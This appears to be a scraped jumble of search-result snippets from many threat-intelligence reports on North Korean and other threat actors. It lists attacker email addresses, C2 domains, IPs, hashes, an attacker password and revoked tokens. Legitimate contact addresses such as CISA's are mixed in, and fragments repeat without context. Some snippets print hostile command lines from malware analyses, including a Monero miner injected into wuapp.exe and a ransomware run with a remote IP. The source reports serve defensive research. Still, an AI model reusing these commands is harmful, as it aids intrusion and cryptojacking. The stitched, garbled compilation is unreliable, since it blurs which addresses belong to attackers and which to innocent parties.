services.…","…[그림 28] 구루 사이트 프리랜서로 등록된 'devAji917' 화면 ESRC는 공격자를 추적하던 과정 중에 tiger199392 계정이 사용하는 'om197019621993@hotmail.com' 이메일 계정을 확인할 수 있었고, 프리랜서 사이트에서 프로젝트 개발 결제서비스로 많이 사용하는 페이팔에도 동일한 계정으로 가입된 것을 볼 수 있었습니다.…","…VelvetCake C2 Domain IP Address 111.92.246.145 VelvetCake C2 IP Address (Port 12345) Email Address omski00@outlook.com Threat Actor Email Address Host Indicators Type Indicator Description SHA256…","…killer05121@outlook.com leomsoite@gmail.com montry111@proton.me murayamasi26@outlook.com nemotom@outlook.kr omski00@outlook.com payuser2026@outlook.com pooh04211@outlook.com skmotern2003@outlook.com srahnn21@gmail.com sven5500@outlook.com…","…하나씩 입력을 하게 되고 정확한 비밀번호를 확보하게 되고 로그인이 올바르게 작동하는 것처럼 다른 사이트로 리디렉션되지만 실제로는 자격 증명이 서버의 텍스트 파일에 기록 이 되는 것뿐 그리고 구글 드라이브에는 해당 PDF를 구글 사용자인 kimdu??ong2020@gmail.com 남북교류협력지원협회 프로필 사진과 함께 업로드 2024년 8월 비공개 아산정책포럼 참석요청서 계획(안).pdf는 미끼 일명 디코이이고 실제로는 아산정책포럼 로 2024년 7월 16일에 발행이 된것으로 기본적으로 네이버,다음,Gmail,카카오 등의…","…Security Researcher @ SecuriElite - https://www.linkedin.com/in/sebastian-lazarescue-456840209/ Email: contact@securielite.com osman@securielite.com submit@securielite.com Attacker Owned Domains:…","…- motegi21@yahoo.com - evgeny_varganov@mail.ru - evgeny_mono@protonmail.com - p1otnikovan@mail.ru [그림 5] 탈륨, 코니 조직이 사용하는 위협 인프라 연관 흐름도 ESRC는 APT 조직이 사용한 광범위한 위협 인프라 공유 현황을 조사하는 과정 중에서 몇가지 중요한 단서를 확보했습니다.…","…445e7fd6bb684420d6b8523fe0c55228 - 74e3d84492845067a0da6c fa00c064eb b. 공격자 이메일 주소 - claudiaback0910@yandex.com - pardonsingh@yandex.com - njrntop@gmail.com c. 명령제어 (C2) 호스트 서버 - dost.b4a.app - docx1.b4a.app - filestorage.b4a.app Threat…","…[그림 4] 공격자가 C2 도메인 등록시 사용한 정보 화면 지난 06월 30일 ' 김수키(탈륨) 조직, 코로나19 테마와 WSF 파일 기반 공격 주의 ' 때는 동일한 위협 행위자들이 'parksonghui1910@gmail.com', 'yourtest111@outlook.com' 주소를 한국과 중국으로 등록한 바 있습니다.…","…leomsoite@gmail.com montry111@proton.me murayamasi26@outlook.com nemotom@outlook.kr omski00@outlook.com payuser2026@outlook.com pooh04211@outlook.com skmotern2003@outlook.com srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me…","…One such email addresses was: peterstewart0326@gmail.com This same email address was recently mentioned in Prevailion's blog .…","…Smith hostingerk1@hotmail.com nresxn.xyz 12/20/2021 3:44 Tony Smith hostingerk2@hotmail.com naverorteam.link 10/26/2021 8:51 Peter Stewart peterstewart0326@gmail.com navercomb.tech 12/2/2021 14:53 Kil Nyeon Kim kimkl0222@hotmail.com navreteam.tech 11/15/2021 9:26 William Ali…","…공격자는 'zum36085@zmail.ru', 'pghlsn333@gmail.com' 이메일을 사용합니다.…","…were observed in WHOIS records for related domains: cliego.garcia@proton.me remey.simpson@outlook.com jackiewcaudill @ gmail.com philip.je@proton.me haroldjmarable @ gmail.com In terms of attribution, the original CrowdStrike post suggests the incident is related to LABYRINTH…","…(52.177.14.24) app-wallet.com - MS Thallium bitcoin025@hanmail.net Annie Cho bigwnet.com - MS Thallium Yoichi Shimada pigcoin2020@hotmail.com seoulhobi.biz - Smoke Screen (27.255.77.110) bignaver.com cloudnaver.com daum.resetprofile.com…","…usernames: 시험 (test) komogeco asd 최현성 (Hyunseong Choi) test-m tkhyp@star-co.net.kp[email protected] T-81vr-m jcg0123 pkitc@silibank.net.kp[email protected] pyitc pkitc@star-co.net.kp[email protected] hyon kitc@star-co.net.kp[email protected] imcholung kitc VPN…","…(Hyunseong Choi) test-m tkhyp@star-co.net.kp[email protected] T-81vr-m jcg0123 pkitc@silibank.net.kp[email protected] pyitc pkitc@star-co.net.kp[email protected] hyon kitc@star-co.net.kp[email protected] imcholung kitc VPN Usage Further analysis of the logs revealed that…","…• hongsiao@naver.com • teriparl25@gmail.com • seanchung.hanvoice@hotmail.com • pkurui9999@gmail.com • kennedypamla@gmail.com • ds1kdie@aol.com • ssdkfdlsfd@gmail.com •…","…montry111@proton.me murayamasi26@outlook.com nemotom@outlook.kr omski00@outlook.com payuser2026@outlook.com pooh04211@outlook.com skmotern2003@outlook.com srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me taini7700@daum.net…","…C2 服务器 http://securelevel.site/pppp/index.php，经过对比，与 Kimsuky 所使用的 C2 服务器 Whois 注册信息完全一致。 注册者 aoler jack 邮箱 poole.sion2015@yandex.com 电话 +82.12035386476 图23.…","…addresses: 159.65.131.94 207.148.104.5 Hermes 2.1 ransomware: A5A0964B1308FDB0AEB8BD5B2A0F306C99997C7C076D66EB3EBCDD68405B1DA2 pretty040782@gmail.com pretty040782@keemail.me SHARE THIS ARTICLE About the author…","…207.148.104.5 Hermes 2.1 ransomware: A5A0964B1308FDB0AEB8BD5B2A0F306C99997C7C076D66EB3EBCDD68405B1DA2 pretty040782@gmail.com pretty040782@keemail.me SHARE THIS ARTICLE About the author…","…oster@gmail.com no.raply.letservice@gmail.com no.repiy.acc.notice@gmail.com noreaply.securiity@gmail.com noreply.centre.team@gmail.com privacy.protect.team@gmail.com protect.password.teams@gmail.com protect.privacy.accounnt@gmail.com protector.privacy.master@gmail.com B.…","…l.com noreply.centre.team@gmail.com privacy.protect.team@gmail.com protect.password.teams@gmail.com protect.privacy.accounnt@gmail.com protector.privacy.master@gmail.com B.…","…vice@gmail.com no.repiy.acc.notice@gmail.com noreaply.securiity@gmail.com noreply.centre.team@gmail.com privacy.protect.team@gmail.com protect.password.teams@gmail.com protect.privacy.accounnt@gmail.com protector.privacy.master@gmail.com B.…","…e@gmail.com noreaply.securiity@gmail.com noreply.centre.team@gmail.com privacy.protect.team@gmail.com protect.password.teams@gmail.com protect.privacy.accounnt@gmail.com protector.privacy.master@gmail.com B.…","…Embassy Protocol ” (using a spoofed Gmail address, protocol.emb.2025@gmail.com ) inviting them to a “U.S.…","…pryakhin20l0@mail.ru “The investment climate of North Korea.” Инвестиционный климат С Investment climate C downplease.c1.biz Table 7.…","…'midsecurity.org', 'netsecurityservice.com' 도메인은 '211.104.160.79' 아이피와 연결되고, 'netsecurityservice.com' 도메인은 'psh1968216@daum.net' 'Park Sanghak' 이름으로 등록됐습니다.…","…위 메일계정 외에 '마스터'로 불리는 메일 주소 중 일부는 아래와 같다. – tgb110117@hotmail.com – nuttumcg@hotmail.com – qet11@hotmail.com – schyong1213@hotmail.com – mysun1968@hotmail.com – ytkr2013@hotmail.com – jkl110112@hotmail.com – rsh1213@hotmail.com –…","…(0) 2024.02.05 엔씨소프트 주문 송장으로 위장한 피싱 파일-电子发票20399201011-2023.jpg.html(2024.1.15) (0) 2024.01.30 미 연방수사국 사칭 스미싱 메일-qjao@service.898840.com(2024.1.17) (0) 2024.01.26 안드로이드 스마트폰,iOS 스마트폰 제로 클릭 블루투스 공격 취약점 (2) 2024.01.25 모질라 파이어폭스 122(Firefox 122) 보안 업데이트 (0)…","…(0) 2024.01.30 Konni(코니) 에서 만든 악성코드-NService_youngji057.chm(2023.11.18) (2) 2024.01.29 미 연방수사국 사칭 스미싱 메일-qjao@service.898840.com(2024.1.17) (0) 2024.01.26 공유하기…","…– monkeyone@mail.bg – AnnaLove1989@ma il.com – skagh1961@mail.com – karena1989@mail.com – jhonin333@india.com – qwpejfe234@zoho.com – s24yt@opera.com – d24tf@opera.com – 3wrasd@opera.com – tilmb17.indiatimes.com – jsso.indiatimes.com – voice9911@indiatimes.com…","…그리고 이곳에서도 암호코드가 발견이 되는데, 인도 메일 'rajue.migel@inda.com' 로그인 암호로 'wjsgurwls135' 알파벳+숫자 문자열을 사용합니다.…","…- second-emergency.3space.info/remote - direct-first.coxslot.com/test1/ - direct-first.coxslot.com/test2/ - rajue.migel@india.com - laoshi.kang@gmail.com [그림 9] C2 서버의 디렉토리 리스팅 화면 일부 인도 메일 서버와 구글 지메일에 중국식 이름의 아이디를 사용했습니다.…","…- tgaNZQXaLAwmirSFZfdPhI7ZCC8LqqvoBSkBdhfC5Fzw1SFeOr70 [그림 8] pCloud Index Key 연산 과정 공격자는 pCloud 서버를 구축할 때 다음과 같이 \"redbigstone@hanmail.net\" 계정을 사용한 것을 확인할 수 있습니다.…","…\"email\": \"nusli.vakil@yandex.com\" , \"email_verified\": true, \"disabled\": false, \"country\": \"US\", \"locale\": \"en\", \"email\": \"reddy.kappeta@yandex.com\" , \"email_verified\": true, \"disabled\": false, \"country\": \"US\", \"locale\": \"en\", \"email\": \"leon24609@gmail.com\" , \"email_verified\":…","…The following emails were observed in WHOIS records for related domains: cliego.garcia@proton.me remey.simpson@outlook.com jackiewcaudill @ gmail.com philip.je@proton.me haroldjmarable @ gmail.com In terms of attribution, the original CrowdStrike post…","…1000.NT1QEE7V73IH NZP5YT[redacted] dsf sdf amandakurth94@zohomail.com 1000.SKXUYYKYL06F Q2NW82[redacted] dsf sdf rexmedina89@zohomail.com 1000.7BMBOS8GV1ZR 6AWEI2[redacted] dsf dsf alishaross751@zohomail.com 1000.V0J0QN7SJ2N7 V6IZVE[redacted] sdf sdf…","…collects domain registrant information, there is a registrant email address that appears to link a number of the aforementioned domains: ringken1983@gmail.com.…","…' rjh917@hotmail.com' 계정을 쓰는 사용자를 추적해 보면 더욱 더 자세한 내용을 발견할 수 있게 됩니다.…","…24) rninchurl@daum.net 코니(Konni) APT 조직, 안드로이드 스파이 활동과 김수키 조직 유사성 분석 (2019.…","…2SufkFqeegMAAAAAAAAAAXBHNzzqhiDRu4wvncLkI7VIkC8Zd3YkJWlqZbpL8afr E-Mail rolf.gehrung@yandex.com ekta.sahasi@yandex.com ○ Each access token is associated with registrant information as shown above, and both tokens are…","…94.175 | https : //RRGrg3yur78ewgewFf@acieodls.shop/page/?m=verify&token=dXNvdXBwQG5hdmVyLmNvbQ==&last=security | | 발신일 | 발신자 | X - PHP - Script | 본문 내 링크 | | --- | --- | --- | --- | |…","…samples’ strings contain the “Kim” keyword: “kimm.r-naver.com”, “kimsukyang and Kim asdfa” the owner of “iop110112@hotmail.com and rsh1213@hotmail.com domains extracted in one of the first observations. And other IoCs contain “tjkim”, “kimyfrenotsure”, “kimshan”, “Kim_Summit”, etc.…","…Email addresses possibly belonging to the TA vergiegpham@gmail.com handgoldlove@gmail.com handgoldlove119@gmail.com rur243@proton.me (from gitlab ekek2-group/ekek2-log-project repo) Posted by Brad Moon Email This BlogThis!…","…C2 Domain ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a Republic of Korea, the Russian Federation and the DPRK rusrnirasaf@yandex.ru Republic of Korea, the Russian Federation and the DPRK.doc panda2019.eu5.org Table 5.…","…on two sites: http://ma.gov.kp/ http://www.ryongnamsan.edu.kp Both pages expose email addresses: The addresses ryongnamsan@star-co.net.kp and mab@silibank.net.kp point to the domains star-co.net.kp and silibank.net.kp . If these addresses are actively used, we should also…","…– AnnaLove1989@ma il.com – skagh1961@mail.com – karena1989@mail.com – jhonin333@india.com – qwpejfe234@zoho.com – s24yt@opera.com – d24tf@opera.com – 3wrasd@opera.com – tilmb17.indiatimes.com – jsso.indiatimes.com – voice9911@indiatimes.com –…","…Commit history from these repositories revealed the email address used by the attacker during GitHub account creation: - Email: sahiwalsuzuki4@gmail.com - These repositories contained logs exfiltrated from infected systems, decoy documents used in the campaign, and files resembling payment…","…포함된 PDB 화면 ○ 'DogCall.pdb' 문자열이 포함된 백도어는 'MITRE ATT&CK' 소프트웨어 항목에 포함돼 있으며, 2017년부터 계속 발견된 바 있습니다. ○ 'softpower21cs@gmail.com' 이메일은 'sandozmessi@gmail.com' 주소의 복구 계정으로 연결되어 있습니다.…","…Gmail Addresses tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ Username searches based on the Yandex email addresses returned LinkedIn profiles with matching names.…","…식별됐던 대표적인 이메일 계정은 다음과 같습니다. tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ 'panic.dat' 파일은 Shellcode 루틴을 통해 암호화된 RoKRAT 모듈이 실행됩니다. [그림 4-2] Shellcode 디코딩 화면 ○ 주 스레드 실행 중에 RoKRAT 명령어는 피해 시스템을 제어하는 데…","…계정이 공개된 바 있습니다. 지메일(Gmail) 주소 tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ 얀덱스 이메일에 사용된 아이디를 검색하면, 동일 이름의 링크드인 이용자가 일부 조회됩니다.…","…options in our telemetry, with some parameters illustrated below: c:\\temp\\mshelp.exe d:\\ -s 23.229.111.197 3569 sanjgold847@protonmail.com 12345 12345FDDEE5566778899AABB 1 c : \\ temp \\ mshelp .…","…All comments or questions related to this document should be directed to the CISA at 1-844-Say-CISA or SayCISA@cisa.dhs.gov. Can I submit malware to CISA? Malware samples can be submitted via three methods: Web: https://malware.us-cert.gov E-Mail:…","…To report an intrusion and request resources for incident response or technical assistance, contact CISA Central at ( SayCISA@cisa.dhs.gov or 1-844-Say-CISA), FBI through a local field office, or the FBI’s Cyber Division ( CyWatch@fbi.gov or 855-292-3937). References [1]…","…Mutex Mutexisfunnylocal DoYouWantToHaveSexWithCuongDong DoYouWantToHaveSexWithCuongDong Contact Schipkealfred@gmail.Com FunhouseRaaS@proton.Me Funhouse8764@tutamail.Com Key Generation Method Random Number + SHA-256…","…위 메일계정 외에 '마스터'로 불리는 메일 주소 중 일부는 아래와 같다. – tgb110117@hotmail.com – nuttumcg@hotmail.com – qet11@hotmail.com – schyong1213@hotmail.com – mysun1968@hotmail.com – ytkr2013@hotmail.com – jkl110112@hotmail.com – rsh1213@hotmail.com – suhopack@aol.com –…","…한편, APT37은 과거 2017년 scott.snyder@zoho.com 계정을 활용한 스피어 피싱 공격이 관찰된 바 있으며, 이후에도 Zoho 서비스가 지속적으로 악용된 사례가 다수 확인되고 있습니다.…","…Meanwhile, APT37 was previously observed using the account \" scott.snyder@zoho.com \" in a spear-phishing attack in 2017, and since then, multiple cases of Zoho services being abused have continued to emerge.…","…\"C:\\Windows\\System32\\wuapp.exe\" -o xmr.pool.minergate.com:45560 -u sd002@protonmail.com -p x -v 0 -t 1 [그림 8] 정상 프로세스에 인젝션되어 작동하는 모네로 채굴 명령 이처럼 비너스 락커(Venus Locker) 랜섬웨어 제작자가 한국 맞춤형으로 지속적인 공격을 수행하고…","…\"C:\\Windows\\System32\\wuapp.exe\" -o xmr.pool.minergate.com:45560 -u sd002@protonmail.com -p x -v 0 -t 1\" 최근 가상 화폐 시세의 급등락과 함께 비트코인 채굴을 하는 악성코드들이 많이 확인되고 있습니다.…","…released by Member States Email Addresses: • hongsiao@naver.com • teriparl25@gmail.com • seanchung.hanvoice@hotmail.com • pkurui9999@gmail.com • kennedypamla@gmail.com • ds1kdie@aol.com •…","…are now visualized. Figure 3 Hilbert curve similarity While comparing the content of the ransomware notes, the email address Semenov.akkim@protonmail.com was present in samples of both the ‘CHiCHi’ and ‘ZZZZ’ ransomware families. Follow the money The families we investigated were not…","…Thank You / Q&A seongsup4rk@gmail.com @unpacker","…is close. Indicators of Compromise Accounts and packages npm accounts ehindero ( ehindero2016@tutamail.com ) and sergey2016 ( sergey2016@tutamail.com ) Any @mastra/* package.json with \"easy-day-js\": \"^1.11.21\" and no provenance attestations easy-day-js@1.11.22 ( postinstall: node…","…Both the compromised publisher ( ehindero2016@tutamail.com ) and the typosquat publisher ( sergey2016@tutamail.com ) used the same anonymous email provider, Tutamail. Dependency injection: the poisoned package.json The compromised mastra@1.13.1…","…웹 메일 계정은 아래와 같다. – lucky000@mail.bg – lovelove333@mail.bg – helpyou@mail.bg – monkeyone@mail.bg – AnnaLove1989@ma il.com – skagh1961@mail.com – karena1989@mail.com – jhonin333@india.com – qwpejfe234@zoho.com – s24yt@opera.com – d24tf@opera.com – 3wrasd@opera.com –…","…murayamasi26@outlook.com nemotom@outlook.kr omski00@outlook.com payuser2026@outlook.com pooh04211@outlook.com skmotern2003@outlook.com srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me…","…1000.INXKBHQ3698C K42YA2[redacted] kalimaxim279 kalimaxim279@zohomail.com 1000.FYRJ46E75TUY BWYV5J[redacted] Smith Bentley smithbentley0617@zohomail.com 1000.8QU6D2LJZ3RC GLZWF2[redacted] Mic haelLarrow19 michaellarrow19@zohomail.com 1000.NT1QEE7V73IH NZP5YT[redacted] dsf sdf…","…were identified. Yandex Email Addresses rolf.gehrung@yandex.com ekta.sahasi@yandex.com gursimran.bindra@yandex.com sneha.geethakrishnan@yandex.com ○ In addition, a previous report published on November 6, 2024, titled “ Cyber Reconnaissance Activities Attributed to APT37 ,”…","…러시아 얀덱스(Yandex) 이메일 계정이 다수 식별됐습니다. 얀덱스(Yandex) 주소 rolf.gehrung@yandex.com ekta.sahasi@yandex.com gursimran.bindra@yandex.com sneha.geethakrishnan@yandex.com ○ 한편, 2024년 11월 06일 ' APT37 위협 배후의 사이버 정찰 활동 분석 ' 보고서를 통해 위협 행위자가 사용한 5개의 구글 지메일 계정이 공개된 바 있습니다. 지메일(Gmail) 주소…","…down-error.com 27.255.77.111 (KR) Seung Hak Hyun rninchurl@daum.n et rnail-inbox.com 27.255.77.111 (KR) Start New h snewstart1013@gmail.com seoulhobi.biz 192.186.142.74 (UK) N/A snow8949@hotmail.com nidhelpnaver.com 37.72.175.223 (US) Jane Jhone…","…Possible Operator The Advanced Threat Research team has identified the following persona (snoopykiller@mail.ru) tied to this recent operation.…","…■ 휴먼 위협 인텔리전스 기반의 공격 배후 조사 (북한의 사이버 아웃소싱 공격 명명 및 개념정의) ESRC에서는 seoulhobi.biz (192.186.142.74) 도메인의 등록자를 조사하는과정에서 공격자가 'snow8949@hotmail.com' 이메일을 사용해, MonoVM 호스팅을 활용하고 있다는 것을 확인했습니다.…","…seoulhobi.biz 192.186.142.74 (UK) N/A snow8949@hotmail.com nidhelpnaver.com 37.72.175.223 (US) Jane Jhone snow8949@hotmail.com ■ 결론 국내외 많은 위협 인텔리전스 분석가들은 수년 전부터 '코니(Konni)' APT 공격그룹에 대한 분석과 연구를 수행하고 있습니다.…","…Kim kimkl0222@hotmail.com navreteam.tech 11/15/2021 9:26 William Ali williama824@hotmail.com navvsecurity.tech 10/6/2021 0:46 junseog son specialcnc05@gmail.com We have discovered 7 unique emails in the WHOIS that we believe are dedicated to UNC3782.…","…hunt for even more! Lazy email registration? We did a check across all number email patterns and discovered one more email specialcnc06@gmail.com Press enter or click to view image in full size More importantly.…","…but where is 6? mynfthostinger1@hotmail.com naverhostinger1@hotmail.com naverhostinger2@hotmail.com naverhostinger3@hotmail.com specialcnc07@gmail.com tony42671@hotmail.com Lets hunt for even more! Lazy email registration? We did a check across all number email patterns and discovered…","…beautifl@mail.bg ennemyman@mail.bg fasionman@mail.bg happylove@mail.bg lovest000@mail.bg monneyman@mail.bg sportsman@mail.bg veryhappy@mail.bg 1 2 3 4 5 6 7 8 beautifl @ mail .…","…nemotom@outlook.kr omski00@outlook.com payuser2026@outlook.com pooh04211@outlook.com skmotern2003@outlook.com srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me urusa4400@proton.me…","…• pkurui9999@gmail.com • kennedypamla@gmail.com • ds1kdie@aol.com • ssdkfdlsfd@gmail.com • haris2022100@outlook.com • bing2020@outlook.kr • marksigal1001@gmail.com •…","…- __START_DLL_MARK__ - N:\\Attack Programs\\Backdoor 2.0(x86-x64)\\sysninit - exe\\Release\\sysninit - exe.pdb - mail.inda.com - star.syj@india.com - kch.bear@india.com - un-org.yupage.com/test2/serverok.html - accouut-gooogie.ciki.me 2014년 당시 공격 코드에서 해커가 사용한 인도메일 계정의 암호가…","…@ SecuriElite - https://www.linkedin.com/in/sebastian-lazarescue-456840209/ Email: contact@securielite.com osman@securielite.com submit@securielite.com Attacker Owned Domains:…","…– schyong1213@hotmail.com – mysun1968@hotmail.com – ytkr2013@hotmail.com – jkl110112@hotmail.com – rsh1213@hotmail.com – suhopack@aol.com – unichjid@daum.net – … 위에서 언급된 메일 주소 중, 아래의 [그림-2]는 불가리아 무료 웹메일 “ lovelove333@mail.bg ” 에서 '마스터' 메일주소인 “ jkl110112@hotmail.com “과…","…omski00@outlook.com payuser2026@outlook.com pooh04211@outlook.com skmotern2003@outlook.com srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me urusa4400@proton.me void0824@proton.me…","…dustinharrise91@outlook.com jackal3300@proton.me jametony8@outlook.com jamjack2026@proton.me montry111@proton.me sven5500@proton.me taini7700@outlook.com urusa4400@proton.m 이 글 공유하기…","…payuser2026@outlook.com pooh04211@outlook.com skmotern2003@outlook.com srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me urusa4400@proton.me void0824@proton.me…","…• sm.carls0000@gmail.co m • ds1kde@daum.net • yoon.dasl@yahoo.com • syshim10@mofa.lat Websites: • sovershopp.online • onerearth.xyz • mofa.lat • janskinmn.lol…","…pooh04211@outlook.com skmotern2003@outlook.com srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me urusa4400@proton.me void0824@proton.me xufeng.wangsui@hotmail.com…","…jackal3300@proton.me jametony8@outlook.com jamjack2026@proton.me montry111@proton.me sven5500@proton.me taini7700@outlook.com urusa4400@proton.m 이 글 공유하기 Facebook LinkedIn…","…jackal3300@proton.me jametony8@outlook.com jamjack2026@proton.me montry111@proton.me sven5500@proton.me taini7700@outlook.com urusa4400@proton.me 작성자.…","…skmotern2003@outlook.com srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me urusa4400@proton.me void0824@proton.me xufeng.wangsui@hotmail.com yaosiyaosi26@hotmail.com…","…srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me urusa4400@proton.me void0824@proton.me xufeng.wangsui@hotmail.com yaosiyaosi26@hotmail.com youth3920@outlook.com…","…kpsa-press@daum.net , kpsapress@gmail.com , martburgle@gmail.com , movzhanu@gmail.com , Operation Printing Paper 3 , Operation Spy Cloud , tbaby2949@gmail.com , Threat Inside , 금성121 , 스피어피싱 , 오퍼레이션 스파이 클라우드 , 위장 탈북 증거.doc 관련글 더보기 비너스락커…","…1000.W4V2XMB83C6V FC7DGZ[redacted] dfsd sdf marjoriemiller280@zohomail.com 1000.LIUBF67S89H0 IZEBHE[redacted] Bill Jackson teresadaniels200@zohomail.com 1000.8BLOFSFU4WOF Y9HB4A[redacted] Zoe Jack michaelgiesen62@zohomail.com Capabilities Android BirdCall features an update…","…websites and virtual currency addresses released by Member States Email Addresses: • hongsiao@naver.com • teriparl25@gmail.com • seanchung.hanvoice@hotmail.com • pkurui9999@gmail.com • kennedypamla@gmail.com…","…위 메일계정 외에 '마스터'로 불리는 메일 주소 중 일부는 아래와 같다. – tgb110117@hotmail.com – nuttumcg@hotmail.com – qet11@hotmail.com – schyong1213@hotmail.com – mysun1968@hotmail.com – ytkr2013@hotmail.com –…","…'fox tian'은 본 위협 행위자가 사용한 계정명이며, 'tianfox67@gmail.com' 이메일 주소가 사용됐습니다. [그림 4] 'fox tian' 계정으로 등록된 구글 드라이브 모습 ○ 단순 텍스트 문서처럼 구글 드라이브에 파일이 등록돼 있지만, 실제로는 악성 PowerShell 명령이 삽입된 상태입니다.…","…consistent specs (4 GB RAM, 64-bit), with generically labeled hostnames (e.g., DESKTOP-OEFCI0, DESKTOP-USY2245) and user profiles like tienqang65@gmail.com , possibly reflecting either alias accounts or Microsoft-linked VMs. The attacker machines exhibited signs of developer-level usage:…","…shnan@yandex.com tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com tiger.man.1999@mail.ru navermail_noreply@mail.ru 이 글 공유하기 Facebook…","…24) tiger199392@daum.net 한ㆍ미 겨냥 APT 캠페인 '스모크 스크린' Kimsuky 실체 공개 (2019.…","…당시 사용된 'tiger199392@daum.net' 계정은 'Aji 917' 계정으로 여러 프리랜서 사이트에서 국내외 비트코인 거래소나 악성 프로그램, 웹 사이트 등을 개발 대행 하는 프로그래머로 활동한 것이 포착됐고, 카카오 톡이나 텔레그램 그리고 스카이프 등을 사용했습니다.…","…One phishing email impersonated a media correspondent (“The Morning Times”) using sender address timesthemorning@gmail.com , inviting an interview with an ambassador—an alias observed repeatedly in DPRK-linked phishing attempts targeting U.S.…","…One of the Gmail accounts used by this actor is ” tjkim1991@gmail.com” which was used to register the following sub-domains: ns1.microsoft-office.us ns2.microsoft-office.us They were registered on…","…also a number of interesting failed logins associated with several usernames: 시험 (test) komogeco asd 최현성 (Hyunseong Choi) test-m tkhyp@star-co.net.kp[email protected] T-81vr-m jcg0123 pkitc@silibank.net.kp[email protected] pyitc pkitc@star-co.net.kp[email protected] hyon…","…holowin@gmail.com jecoma@outlook.kr johnstones19850308@gmail.com johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr trungvo5131993@gmail.com tttsssuuu@outlook.kr whitewolf20000312@gmail.com…","…BirdCall Zoho WorkDrive accounts client_id display_name email 1000.AJUEYDUIQQ5G CLFA68[redacted] tomasalfred37 tomasalfred37@zohomail.com 1000.INXKBHQ3698C K42YA2[redacted] kalimaxim279 kalimaxim279@zohomail.com 1000.FYRJ46E75TUY BWYV5J[redacted] Smith Bentley…","…6? mynfthostinger1@hotmail.com naverhostinger1@hotmail.com naverhostinger2@hotmail.com naverhostinger3@hotmail.com specialcnc07@gmail.com tony42671@hotmail.com Lets hunt for even more! Lazy email registration? We did a check across all number email patterns and discovered one more email…","…- prettysophia52 - prettysophia53 - prettysophia54 - prettysophia55 - prettysophia56 - prettysophia57 - tosarang87@gmail.com - winpos1000@zmail.ru - winpos1001@zmail.ru - winpos1002@zmail.ru - winpos1003@zmail.ru - winpos1004@zmail.ru -…","…under Appendix C: Script for more at: We did WHOIS lookups on all hostnames found and find three more emails: gameproducters@outlook.com, tree99111@hotmail.com and laris081000@outlook.com Query: datasource = “whois” AND email = [“gameproducters@outlook.com”, “tree99111@hotmail.com”,…","…jecoma@outlook.kr johnstones19850308@gmail.com johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr trungvo5131993@gmail.com tttsssuuu@outlook.kr whitewolf20000312@gmail.com 이 글 공유하기…","…johnstones19850308@gmail.com johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr trungvo5131993@gmail.com tttsssuuu@outlook.kr whitewolf20000312@gmail.com 이 글 공유하기 Facebook…","…– mysun1968@hotmail.com – ytkr2013@hotmail.com – jkl110112@hotmail.com – rsh1213@hotmail.com – suhopack@aol.com – unichjid@daum.net – … 위에서 언급된 메일 주소 중, 아래의 [그림-2]는 불가리아 무료 웹메일 “ lovelove333@mail.bg ” 에서 '마스터' 메일주소인 “ jkl110112@hotmail.com “과 “…","…jametony8@outlook.com jamjack2026@proton.me montry111@proton.me sven5500@proton.me taini7700@outlook.com urusa4400@proton.me 작성자.…","…srahnn21@gmail.com sven5500@outlook.com sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me urusa4400@proton.me void0824@proton.me xufeng.wangsui@hotmail.com yaosiyaosi26@hotmail.com youth3920@outlook.com zhejiong.hangjou@hotmail.com…","…공격의 사례이다. 정상 악성 user1@naver.com user1@naver - com .cc user2@google.com user2@goog 1 e.com user3@daum.net user3@dau u m .net 이전에 송수신한 이력이 존재하는지 확인 특정 인물을 대상으로 시도하는 스피어 피싱은 악성 메일을 직접 보내기 전에 일반적인 메일을 통해 신뢰를 쌓기도 하고, 때로는 즉시 악성 메일을…","…github.com/Fujinuma0804/Tralert IP addresses 161.97.113.34 91.107.246.107 Email addresses possibly belonging to the TA vergiegpham@gmail.com handgoldlove@gmail.com handgoldlove119@gmail.com rur243@proton.me (from gitlab ekek2-group/ekek2-log-project repo) Posted…","…– qwpejfe234@zoho.com – s24yt@opera.com – d24tf@opera.com – 3wrasd@opera.com – tilmb17.indiatimes.com – jsso.indiatimes.com – voice9911@indiatimes.com – fdjjy456@zoho.com – … 아래의 [표-1]과 [표-2]는 각각 웹 메일계정에 로그인 및 메일전송(파일첨부 기능사용)을 위해 사용되는 데이터 중 일부를 나타낸다. & pass =…","…sven5500@outlook.com sven5500@proton.me taini7700@daum.net taini7700@outlook.com taini7700@proton.me urusa4400@proton.me void0824@proton.me xufeng.wangsui@hotmail.com yaosiyaosi26@hotmail.com youth3920@outlook.com zhejiong.hangjou@hotmail.com Author.…","…Appendix Appendix 1: IOC pcloud token : J0ycZ53OfwT3cURkZSVUDa7ZgrE2Kb72JlJntinTe1eN6LP3d1wy (revoked) 등록된 계정정보 : w4lters.jamie@yandex.com yandex token : AQAAAAAzHYxcAAWUROxzKJdWc0DBjRwRIB3dlVE (Unauthorized Error) Appendix 2: Yararule rule Scarcruft_Reverse_BS64_Loader {…","…for employees (some banks have this material stored \"securely\" online). APT38 has been spotted in the wild using email accounts like wangchung01@gmail.com and campbelldavid793@gmail.com to send spear-phishing emails 